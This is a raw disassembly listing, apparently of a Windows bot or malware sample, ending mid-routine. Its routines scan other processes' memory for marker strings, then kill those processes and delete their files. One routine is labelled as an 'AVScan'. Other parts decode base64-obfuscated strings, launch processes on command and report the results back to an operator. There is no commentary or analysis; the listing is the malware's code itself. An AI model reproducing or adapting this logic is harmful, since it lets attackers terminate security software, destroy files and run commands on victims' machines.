		jz	short loc_4174EE
		push	offset byte_44D6A4
		push	edi
		call	dword_455EC4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174EE
		xor	esi, esi
		inc	esi
		jmp	short loc_4174FF
; ---------------------------------------------------------------------------


loc_4174EE:				; CODE XREF: sub_4174BE+17j
					; sub_4174BE+29j
		push	esi
		push	edi
		call	dword_455EC4
		mov	esi, eax
		pop	ecx
		neg	esi
		sbb	esi, esi
		pop	ecx
		inc	esi


loc_4174FF:				; CODE XREF: sub_4174BE+2Ej
		push	edi
		call	dword_455EC8
		pop	ecx
		mov	eax, esi
		pop	esi
		pop	edi
		retn
sub_4174BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41750C	proc near		; CODE XREF: sub_417149+67p
					; sub_417149+84p

arg_0		= dword	ptr  4

		and	dword_45C1E8, 0
		and	dword_45C1E4, 0
		push	offset word_433F2C
		push	[esp+4+arg_0]
		call	sub_422F66
		pop	ecx
		mov	dword_45C1EC, eax
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		mov	eax, ecx
		retn
sub_41750C	endp


; =============== S U B	R O U T	I N E =======================================



sub_417539	proc near		; CODE XREF: sub_417149+A8p
					; sub_417149+11Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		and	byte ptr [edi],	0


loc_417544:				; CODE XREF: sub_417539+1Fj
					; sub_417539+25j ...
		call	sub_417583
		movsx	eax, al
		test	eax, eax
		jz	short loc_41757F
		cmp	eax, 0Ah
		jz	short loc_417575
		cmp	eax, 0Dh
		jz	short loc_417544
		xor	ecx, ecx


loc_41755C:				; CODE XREF: sub_417539+38j
		test	al, al
		jz	short loc_417544
		cmp	esi, [esp+8+arg_4]
		jge	short loc_41757F
		mov	[esi+edi], al
		inc	esi
		shr	eax, 8
		inc	ecx
		cmp	ecx, 4
		jl	short loc_41755C
		jmp	short loc_417544
; ---------------------------------------------------------------------------


loc_417575:				; CODE XREF: sub_417539+1Aj
		and	byte ptr [esi+edi], 0
		xor	eax, eax
		inc	eax


loc_41757C:				; CODE XREF: sub_417539+48j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41757F:				; CODE XREF: sub_417539+15j
					; sub_417539+2Bj
		xor	eax, eax
		jmp	short loc_41757C
sub_417539	endp


; =============== S U B	R O U T	I N E =======================================



sub_417583	proc near		; CODE XREF: sub_417539:loc_417544p
		mov	eax, dword_45C1E8
		cmp	eax, dword_45C1E4
		jl	short loc_4175BD
		push	dword_45C1EC
		and	dword_45C1E8, 0
		push	2800h
		push	1
		push	offset byte_455F30
		call	sub_422BE2
		add	esp, 10h
		mov	dword_45C1E4, eax
		test	eax, eax
		jg	short loc_4175BD
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_4175BD:				; CODE XREF: sub_417583+Bj
					; sub_417583+35j
		mov	eax, dword_45C1E8
		inc	dword_45C1E8
		mov	al, byte_455F30[eax]
		retn
sub_417583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175CF	proc near		; CODE XREF: sub_417149+20Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_10], ebx
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		cmp	al, bl
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		jnz	short loc_417606


loc_4175EF:				; CODE XREF: sub_4175CF+BFj
		push	1
		call	sub_422F79
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[eax], bl


loc_4175FE:				; CODE XREF: sub_4175CF+A3j
		xor	eax, eax
		inc	eax
		jmp	loc_4176AC
; ---------------------------------------------------------------------------


loc_417606:				; CODE XREF: sub_4175CF+1Ej
		cmp	al, byte_43ECB0
		jz	short loc_417678
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		call	sub_4176B1
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417674
		cmp	[ebp+var_8], ebx
		jz	short loc_417674
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	sub_417704
		add	esp, 10h
		test	eax, eax
		jz	short loc_417674
		cmp	[ebp+var_C], ebx
		jz	short loc_417674
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_422F79
		mov	esi, [ebp+arg_4]
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jz	short loc_417674
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	eax
		call	sub_4223F0
		mov	eax, [esi]
		mov	ecx, [ebp+var_4]
		add	esp, 0Ch
		mov	[ecx+eax], bl
		jmp	short loc_4175FE
; ---------------------------------------------------------------------------


loc_417674:				; CODE XREF: sub_4175CF+52j
					; sub_4175CF+57j ...
		xor	eax, eax
		jmp	short loc_4176AC
; ---------------------------------------------------------------------------


loc_417678:				; CODE XREF: sub_4175CF+3Dj
		push	offset byte_43ECB0
		call	sub_422120
		push	esi
		mov	edi, eax
		call	sub_422120
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	loc_4175EF
		lea	eax, [ebp+var_10]
		add	edi, esi
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	sub_4176B1
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax


loc_4176AC:				; CODE XREF: sub_4175CF+32j
					; sub_4175CF+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4176B1	proc near		; CODE XREF: sub_4175CF+48p
					; sub_4175CF+CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		call	sub_422120
		mov	esi, eax
		xor	ebx, ebx
		pop	ecx
		cmp	byte ptr [esi+edi-1], 3Dh
		jnz	short loc_4176D5
		inc	ebx
		cmp	byte ptr [esi+edi-2], 3Dh
		jnz	short loc_4176D5
		push	2
		pop	ebx


loc_4176D5:				; CODE XREF: sub_4176B1+17j
					; sub_4176B1+1Fj
		push	0
		push	esi
		push	edi
		call	dword_455EBC
		mov	ecx, [esp+18h+arg_4]
		add	esp, 0Ch
		test	eax, eax
		mov	[ecx], eax
		jz	short loc_417700
		lea	eax, [esi+esi*2]
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	ecx, [esp+0Ch+arg_8]
		sub	eax, ebx
		mov	[ecx], eax
		xor	eax, eax
		inc	eax


loc_417700:				; CODE XREF: sub_4176B1+39j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4176B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417704	proc near		; CODE XREF: sub_4175CF+67p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		call	dword_455F2C
		mov	esi, eax
		test	esi, esi
		jz	short loc_417754
		push	0
		push	1
		push	esi
		call	dword_455F28
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_417754
		mov	eax, [ebp+arg_0]
		and	[ebp+var_8], 0
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_455ED0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417758


loc_417754:				; CODE XREF: sub_417704+11j
					; sub_417704+23j
		xor	eax, eax
		jmp	short loc_417773
; ---------------------------------------------------------------------------


loc_417758:				; CODE XREF: sub_417704+4Ej
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_8]
		push	esi
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		call	dword_455EC8
		xor	eax, eax
		pop	ecx
		inc	eax


loc_417773:				; CODE XREF: sub_417704+52j
		pop	esi
		leave
		retn
sub_417704	endp


; =============== S U B	R O U T	I N E =======================================



sub_417776	proc near		; CODE XREF: sub_416C0B+E8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_422120
		xor	edx, edx
		pop	ecx
		test	eax, eax
		jle	short loc_4177A0


loc_417788:				; CODE XREF: sub_417776+28j
		mov	cl, [edx+esi]
		cmp	cl, 41h
		jl	short loc_41779B
		cmp	cl, 5Ah
		jg	short loc_41779B
		add	cl, 20h
		mov	[edx+esi], cl


loc_41779B:				; CODE XREF: sub_417776+18j
					; sub_417776+1Dj
		inc	edx
		cmp	edx, eax
		jl	short loc_417788


loc_4177A0:				; CODE XREF: sub_417776+10j
		pop	esi
		retn
sub_417776	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177A2	proc near		; CODE XREF: sub_403B2C+1045p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	eax
		push	20019h
		push	0
		mov	[ebp+var_8], 80h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	dword_42F008	; RegOpenKeyExA
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	0
		push	0
		push	[ebp+arg_10]
		push	[ebp+var_4]
		call	dword_42F000	; RegQueryValueExA
		test	eax, eax
		jnz	short locret_417814
		lea	eax, [ebp+var_88]
		push	eax
		push	offset aTovrfYuzfi1mns ; "tOVrF/YuzFI1Mnsrm1FhS.k."
		push	offset aSS_	; "%s %s."
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 14h
		push	[ebp+var_4]
		call	dword_42F004	; RegCloseKey

locret_417814:				; CODE XREF: sub_4177A2+48j
		leave
		retn
sub_4177A2	endp

; ---------------------------------------------------------------------------


loc_417816:				; CODE XREF: .text:0042EF03j
					; .text:0042EF0Bj ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_417822
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_417822:				; CODE XREF: .text:0041781Aj
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417823	proc near		; CODE XREF: sub_417A90+1CEp
					; sub_417A90+200p

var_5504	= byte ptr -5504h
var_5503	= byte ptr -5503h
var_504		= byte ptr -504h
var_503		= byte ptr -503h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_3C		= byte ptr  44h

		push	ebp
		mov	ebp, esp
		mov	eax, 5504h
		call	sub_4220C0
		and	[ebp+var_5504],	0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 13FFh
		xor	eax, eax
		lea	edi, [ebp+var_5503]
		and	[ebp+var_504], 0
		rep stosd
		stosw
		stosb
		mov	ecx, 13Fh
		xor	eax, eax
		lea	edi, [ebp+var_503]
		push	[ebp+arg_20]
		rep stosd
		stosw
		stosb
		xor	edi, edi
		push	edi
		push	1F0FFFh
		call	dword_42F0E4	; OpenProcess
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+arg_10], eax
		jmp	loc_417972
; ---------------------------------------------------------------------------


loc_417884:				; CODE XREF: sub_417823+152j
		push	edi
		lea	eax, [ebp+var_504]
		push	500h
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_4]
		call	dword_42F0E0	; ReadProcessMemory
		cmp	eax, edi
		jz	loc_41797B
		lea	eax, [ebp+var_504]
		push	eax
		lea	eax, [ebp+var_5504]
		push	eax
		call	sub_423270
		cmp	off_43ECBC, edi
		pop	ecx
		pop	ecx
		jz	loc_417957
		mov	esi, offset off_43ECBC
		mov	ebx, esi


loc_4178CD:				; CODE XREF: sub_417823+12Ej
		push	dword ptr [esi]
		lea	eax, [ebp+var_5504]
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41794A
		push	dword ptr [ebx-4]
		lea	eax, [ebp+arg_3C]
		push	eax
		push	dword ptr [esi]
		mov	esi, offset dword_45C1F0
		push	offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		push	offset aSFoundStringSI ; "%s Found string \"%s\" in \"%s\" File	\"%s\"\n"...
		push	esi
		call	sub_422063
		add	esp, 18h
		cmp	[ebp+arg_4], edi
		jnz	short loc_417916
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 0Ch


loc_417916:				; CODE XREF: sub_417823+E2j
		push	7D0h
		call	dword_42F15C	; Sleep
		sub	esp, 128h
		lea	esi, [ebp+arg_18]
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_C]
		rep movsd
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417989
		add	esp, 138h
		xor	edi, edi


loc_41794A:				; CODE XREF: sub_417823+BCj
		add	ebx, 8
		mov	esi, ebx
		cmp	[ebx], edi
		jnz	loc_4178CD


loc_417957:				; CODE XREF: sub_417823+9Dj
		push	5000h
		lea	eax, [ebp+var_5504]
		push	edi
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		inc	[ebp+arg_10]
		mov	eax, [ebp+arg_10]


loc_417972:				; CODE XREF: sub_417823+5Cj
		cmp	eax, [ebp+arg_14]
		jbe	loc_417884


loc_41797B:				; CODE XREF: sub_417823+7Cj
		push	[ebp+var_4]
		call	dword_42F038	; CloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417989	proc near		; CODE XREF: sub_417823+11Ap

var_228		= dword	ptr -228h
var_224		= byte ptr -224h
var_208		= byte ptr -208h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_34		= byte ptr  3Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		and	[ebp+var_228], 0
		push	esi
		push	edi
		mov	ecx, 88h
		push	[ebp+arg_18]
		xor	eax, eax
		lea	edi, [ebp+var_224]
		rep stosd
		push	8
		call	sub_421C60	; CreateToolhelp32Snapshot
		mov	edi, eax
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		mov	[ebp+var_228], 224h
		call	sub_421C5A	; Module32First
		test	eax, eax
		jz	loc_417A7E
		mov	esi, offset dword_45C1F0


loc_4179DA:				; CODE XREF: sub_417989+EFj
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+arg_34]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417A69
		lea	eax, [ebp+var_108]
		push	80h
		push	eax
		call	dword_42F08C	; SetFileAttributesA
		push	[ebp+arg_18]
		push	0
		push	1F0FFFh
		call	dword_42F0E4	; OpenProcess
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_42F0EC	; TerminateProcess
		push	1F4h
		call	dword_42F15C	; Sleep
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_42F088	; DeleteFileA
		test	eax, eax
		jz	short loc_417A69
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		push	offset aSTerminatedAnd ; "%s Terminated	and deleted %s\n"
		push	esi
		call	sub_422063
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_417A69
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 0Ch


loc_417A69:				; CODE XREF: sub_417989+65j
					; sub_417989+AFj ...
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		call	sub_421C54	; Module32Next
		test	eax, eax
		jnz	loc_4179DA


loc_417A7E:				; CODE XREF: sub_417989+46j
		push	[ebp+var_4]
		mov	esi, dword_42F038
		call	esi ; dword_42F038
		push	edi
		call	esi ; dword_42F038
		pop	edi
		pop	esi
		leave
		retn
sub_417989	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A90	proc near		; DATA XREF: sub_403B2C+154Bo

var_1CC		= dword	ptr -1CCh
var_1A8		= byte ptr -1A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_A4]
		rep movsd
		mov	esi, offset dword_45C328
		mov	dword ptr [eax+98h], 1
		mov	eax, [ebp+var_A4]
		push	80h
		push	esi
		push	0
		mov	[ebp+var_8], eax
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_4234F0
		push	offset byte_44D6A4
		push	offset asc_43E8EC ; "\\"
		push	eax
		mov	dword_45C3A8, eax
		call	sub_41F167
		add	esp, 14h
		push	0
		push	2
		call	sub_421C60	; CreateToolhelp32Snapshot
		lea	ecx, [ebp+var_1CC]
		mov	[ebp+var_4], eax
		push	ecx
		push	eax
		mov	[ebp+var_1CC], 128h
		mov	byte ptr [ebp+arg_0+3],	1
		call	sub_421C6C	; Process32First
		test	eax, eax
		jz	loc_417CB8
		mov	ebx, dword_42F070


loc_417B2E:				; CODE XREF: sub_417A90+222j
		push	dword_45C3A8
		lea	eax, [ebp+var_1A8]
		push	eax
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_417B44
		and	byte ptr [ebp+arg_0+3],	al


loc_417B44:				; CODE XREF: sub_417A90+AFj
		xor	edi, edi


loc_417B46:				; CODE XREF: sub_417A90+EFj
		lea	esi, off_43F000[edi]
		lea	eax, [ebp+var_1A8]
		push	dword ptr [esi]
		push	eax
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_417B5E
		and	byte ptr [ebp+arg_0+3],	al


loc_417B5E:				; CODE XREF: sub_417A90+C9j
		lea	eax, [ebp+var_1A8]
		push	eax
		push	dword ptr [esi]
		call	sub_41F2BB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417B76
		and	byte ptr [ebp+arg_0+3],	0


loc_417B76:				; CODE XREF: sub_417A90+E0j
		add	edi, 4
		cmp	edi, 63Ch
		jb	short loc_417B46
		xor	edi, edi


loc_417B83:				; CODE XREF: sub_417A90+12Cj
		lea	esi, off_43F640[edi]
		lea	eax, [ebp+var_1A8]
		push	dword ptr [esi]
		push	eax
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_417B9B
		and	byte ptr [ebp+arg_0+3],	al


loc_417B9B:				; CODE XREF: sub_417A90+106j
		lea	eax, [ebp+var_1A8]
		push	eax
		push	dword ptr [esi]
		call	sub_41F2BB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BB3
		and	byte ptr [ebp+arg_0+3],	0


loc_417BB3:				; CODE XREF: sub_417A90+11Dj
		add	edi, 4
		cmp	edi, 84h
		jb	short loc_417B83
		xor	edi, edi


loc_417BC0:				; CODE XREF: sub_417A90+169j
		lea	esi, off_43F6C8[edi]
		lea	eax, [ebp+var_1A8]
		push	dword ptr [esi]
		push	eax
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_417BD8
		and	byte ptr [ebp+arg_0+3],	al


loc_417BD8:				; CODE XREF: sub_417A90+143j
		lea	eax, [ebp+var_1A8]
		push	eax
		push	dword ptr [esi]
		call	sub_41F2BB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BF0
		and	byte ptr [ebp+arg_0+3],	0


loc_417BF0:				; CODE XREF: sub_417A90+15Aj
		add	edi, 4
		cmp	edi, 0A4h
		jb	short loc_417BC0
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	loc_417C9D
		cmp	[ebp+var_10], 0
		jz	short loc_417C2E
		lea	eax, [ebp+var_1A8]
		push	eax
		push	offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		lea	eax, [ebp+var_A0]
		push	offset aSRunningAvscan ; "%s Running AVScan on %s\n"
		push	eax
		push	[ebp+var_8]
		call	sub_4104F6
		add	esp, 14h


loc_417C2E:				; CODE XREF: sub_417A90+179j
		sub	esp, 128h
		lea	eax, [ebp+var_A0]
		lea	esi, [ebp+var_1CC]
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	offset byte_4FFFFF
		push	400000h
		push	eax
		push	[ebp+var_10]
		rep movsd
		push	[ebp+var_18]
		push	[ebp+var_A4]
		call	sub_417823
		add	esp, 18h
		lea	eax, [ebp+var_A0]
		lea	esi, [ebp+var_1CC]
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	1FFFFFh
		push	100000h
		push	eax
		push	[ebp+var_10]
		rep movsd
		push	[ebp+var_18]
		push	[ebp+var_A4]
		call	sub_417823
		add	esp, 140h
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------


loc_417C9D:				; CODE XREF: sub_417A90+16Fj
		mov	byte ptr [ebp+arg_0+3],	1


loc_417CA1:				; CODE XREF: sub_417A90+20Bj
		lea	eax, [ebp+var_1CC]
		push	eax
		push	[ebp+var_4]
		call	sub_421C66	; Process32Next
		test	eax, eax
		jnz	loc_417B2E


loc_417CB8:				; CODE XREF: sub_417A90+92j
		push	[ebp+var_4]
		call	dword_42F038	; CloseHandle
		call	sub_4245F8
		push	[ebp+var_20]
		call	sub_41C059
		pop	ecx
		push	0
		call	dword_42F150	; ExitThread
sub_417A90	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CD7	proc near		; DATA XREF: sub_403B2C+1842o

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_418		= byte ptr -418h
var_314		= byte ptr -314h
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_5C		= dword	ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		xor	edi, edi
		push	[ebp+var_214]
		inc	edi
		mov	esi, [ebp+var_208]
		mov	[eax+0BCh], edi
		mov	eax, [ebp+var_29C]
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_204]
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_418]
		push	eax
		call	dword_42F04C	; lstrcpyA
		lea	eax, [ebp+var_418]
		push	104h
		push	eax
		lea	eax, [ebp+var_594]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		call	dword_45429C	; PathRemoveFileSpecA
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_417DB9
		cmp	[ebp+var_1E8], ebx
		mov	edi, dword_42F068
		mov	esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		jnz	short loc_417D8D
		cmp	[ebp+var_1E4], ebx
		jnz	short loc_417D99
		call	edi ; dword_42F068
		push	eax
		push	esi
		lea	eax, [ebp+var_298]
		push	offset aSCouldnTPars_0 ; "%s Couldn't parse path,error: <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 14h


loc_417D8D:				; CODE XREF: sub_417CD7+91j
		cmp	[ebp+var_1E4], ebx
		jz	loc_417E79


loc_417D99:				; CODE XREF: sub_417CD7+99j
		call	edi ; dword_42F068
		push	eax
		push	esi
		lea	eax, [ebp+var_298]
		push	offset aSCouldnTPars_0 ; "%s Couldn't parse path,error: <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 14h
		jmp	loc_417E79
; ---------------------------------------------------------------------------


loc_417DB9:				; CODE XREF: sub_417CD7+7Ej
		push	44h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		call	sub_4221F0
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 18h
		lea	eax, [ebp+var_14]
		neg	esi
		push	eax
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_594]
		push	eax
		push	ebx
		sbb	esi, esi
		push	ebx
		push	ebx
		and	esi, 0FFFFFFFBh
		push	ebx
		lea	eax, [ebp+var_418]
		push	ebx
		add	esi, 5
		push	eax
		push	ebx
		mov	[ebp+var_5C], 44h
		mov	[ebp+var_30], edi
		mov	[ebp+var_2C], si
		call	dword_42F078	; CreateProcessA
		test	eax, eax
		jnz	short loc_417E81
		cmp	[ebp+var_1E8], ebx
		mov	edi, dword_42F068
		mov	esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		jnz	short loc_417E4F
		cmp	[ebp+var_1E4], ebx
		jnz	short loc_417E57
		call	edi ; dword_42F068
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	esi
		lea	eax, [ebp+var_298]
		push	offset aSFailedToCre_0 ; "%s Failed to create proc: \"%s\",error: <"...
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 18h


loc_417E4F:				; CODE XREF: sub_417CD7+14Cj
		cmp	[ebp+var_1E4], ebx
		jz	short loc_417E79


loc_417E57:				; CODE XREF: sub_417CD7+154j
		call	edi ; dword_42F068
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	esi
		lea	eax, [ebp+var_298]
		push	offset aSFailedToCre_0 ; "%s Failed to create proc: \"%s\",error: <"...
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 18h


loc_417E79:				; CODE XREF: sub_417CD7+BCj
					; sub_417CD7+DDj ...
		xor	eax, eax
		inc	eax
		jmp	loc_418009
; ---------------------------------------------------------------------------


loc_417E81:				; CODE XREF: sub_417CD7+139j
		mov	edi, dword_42F164
		call	edi ; dword_42F164
		cmp	[ebp+var_1E8], ebx
		mov	[ebp+var_4], eax
		mov	esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		jnz	short loc_417EC3
		cmp	[ebp+var_1E4], ebx
		jnz	short loc_417ECB
		push	[ebp+var_C]
		lea	eax, [ebp+var_418]
		push	eax
		push	esi
		lea	eax, [ebp+var_298]
		push	offset aSCreatedProcSP ; "%s Created proc: \"%s\", PID:	<%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 18h


loc_417EC3:				; CODE XREF: sub_417CD7+1C0j
		cmp	[ebp+var_1E4], ebx
		jz	short loc_417EED


loc_417ECB:				; CODE XREF: sub_417CD7+1C8j
		push	[ebp+var_C]
		lea	eax, [ebp+var_418]
		push	eax
		push	esi
		lea	eax, [ebp+var_298]
		push	offset aSCreatedProcSP ; "%s Created proc: \"%s\", PID:	<%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_410491
		add	esp, 18h


loc_417EED:				; CODE XREF: sub_417CD7+1F2j
		cmp	[ebp+var_1E8], ebx
		jnz	loc_417FE1
		cmp	[ebp+var_18], ebx
		jz	loc_417FE1
		push	0FFFFFFFFh
		push	[ebp+var_14]
		call	dword_42F064	; WaitForSingleObject
		call	edi ; dword_42F164
		sub	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	3Ch
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		pop	edi
		mov	[ebp+var_314], bl
		div	ecx
		mov	ecx, 0E10h
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		cmp	ecx, ebx
		mov	edi, edx
		mov	[ebp+var_4], eax
		jbe	short loc_417F81
		cmp	ecx, 1
		mov	eax, offset aHour ; " hour"
		jz	short loc_417F58
		mov	eax, offset aHours ; " hours"


loc_417F58:				; CODE XREF: sub_417CD7+27Aj
		push	eax
		push	ecx
		lea	eax, [ebp+var_490]
